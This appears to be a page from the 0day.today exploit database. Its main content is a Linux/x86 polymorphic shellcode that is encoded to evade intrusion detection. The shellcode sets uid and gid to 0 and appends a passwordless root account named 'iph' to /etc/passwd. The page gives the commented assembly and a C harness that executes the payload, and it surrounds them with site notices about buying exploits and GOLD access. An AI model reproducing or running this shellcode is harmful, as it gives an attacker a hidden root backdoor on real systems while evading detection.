0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
linux/x86 shellcode - setuid(0)+setgid(0)+add user iph without password - 124 bytes
[/*
# Exploit Title: Linux/x86 Polymorphic ShellCode - setuid(0)+setgid(0)+add user 'iph' without password to /etc/passwd
# setuid() - setgid() - open() - write() - close() - exit()
# Date: 30/12/2011
# Author: pentesters.ir
# Tested on: Linux x86 - CentOS 6.0 - 2.6.32-71
# Website: http://pentesters.ir/
# Contact: Cru3l.b0y@gmail.com
# By: Cru3l.b0y
# iph::0:0:IPH:/root:/bin/bash
# This ShellCode is Anti-IDS
# Encode: ADD 10
"\xb0\x17" // mov $0x17,%al
"\x31\xdb" // xor %ebx,%ebx
"\xcd\x80" // int $0x80
"\xb0\x2e" // mov $0x2e,%al
"\x53" // push %ebx
"\xcd\x80" // int $0x80
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\x68\x73\x73\x77\x64" // push $0x64777373
"\x68\x2f\x2f\x70\x61" // push $0x61702f2f
"\x68\x2f\x65\x74\x63" // push $0x6374652f
"\x89\xe3" // mov %esp,%ebx
"\x66\xb9\x01\x04" // mov $0x401,%cx
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
"\x6a\x04" // push $0x4
"\x58" // pop %eax
"\x31\xd2" // xor %edx,%edx
"\x52" // push %edx
"\x68\x62\x61\x73\x68" // push $0x68736162
"\x68\x62\x69\x6e\x2f" // push $0x2f6e6962
"\x68\x6f\x74\x3a\x2f" // push $0x2f3a746f
"\x68\x3a\x2f\x72\x6f" // push $0x6f722f3a
"\x68\x3a\x49\x50\x48" // push $0x4850493a
"\x68\x3a\x30\x3a\x30" // push $0x303a303a
"\x68\x69\x70\x68\x3a" // push $0x3a687069
"\x89\xe1" // mov %esp,%ecx
"\x6a\x1c" // push $0x1c
"\x5a" // pop %edx
"\xcd\x80" // int $0x80
"\x6a\x06" // push $0x6
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x01" // push $0x1
"\x58" // pop %eax
"\xcd\x80" // int $0x80
*/
// ##### ANTI IDS SHELLCODE #####
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char sc[] =
"\xeb\x11\x5e\x31\xc9\xb1\x64\x80\x6c\x0e\xff\x0a\x80\xe9"
"\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xba\x21\x3b\xe5"
"\xd7\x8a\xba\x38\x5d\xd7\x8a\x74\x0f\x62\x3b\xd3\x5b\x72"
"\x7d\x7d\x81\x6e\x72\x39\x39\x7a\x6b\x72\x39\x6f\x7e\x6d"
"\x93\xed\x70\xc3\x0b\x0e\xd7\x8a\x93\xcd\x74\x0e\x62\x3b"
"\xdc\x5c\x72\x6c\x6b\x7d\x72\x72\x6c\x73\x78\x39\x72\x79"
"\x7e\x44\x39\x72\x44\x39\x7c\x79\x72\x44\x53\x5a\x52\x72"
"\x44\x3a\x44\x3a\x72\x73\x7a\x72\x44\x93\xeb\x74\x26\x64"
"\xd7\x8a\x74\x10\x62\xd7\x8a\x74\x0b\x62\xd7\x8a";
int main()
{
int (*fp)() = (int(*)())sc;
printf("bytes: %u\n", strlen(sc));
fp();
}
# 0day.today [2024-11-15] #